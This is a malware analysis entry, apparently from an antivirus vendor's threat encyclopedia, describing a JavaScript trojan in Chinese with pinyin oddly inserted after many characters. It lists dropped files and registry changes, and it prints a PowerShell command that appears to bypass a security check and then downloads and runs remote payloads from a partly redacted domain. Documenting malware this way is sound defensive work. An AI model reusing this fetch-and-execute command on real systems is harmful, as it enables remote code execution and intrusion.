Trojan.JS.ACSOGENIXX.VSNW1AI24

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

新(xīn)病毒详细信息

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

安(ān)装(zhuāng)

它植入下列文(wén)件：

• %All Users Profile%\r155202fb-fcdf-42d5-ab22-5af524115bd7r.js → Deleted Afterward
• %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.ps1 → Deleted Afterward
• %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.psm1 → Deleted Afterward

(注意: %User Temp% 是当前用(yòng)户的 Temp 文(wén)件夹。通常位于 C:\Documents and Settings\{user name}\Local Settings\Temp (Windows 2000(32-bit)、XP 和 Server 2003(32-bit))、C:\Users\{user name}\AppData\Local\Temp (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit)。)

它添加下列进程：

• "%System%\WindowsPowerShell\v1.0\powershell.exe" -command "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zSN5VNQQ1EQ'; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/hmr8d2p.php') ; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/deodorizedZLzmN.ps1' )"

其他(tā)系统修改

它修改下列注册表项：

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
UNCAsIntranet = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
AutoDetect = 1

(Note: The default value data of the said registry entry is 0.)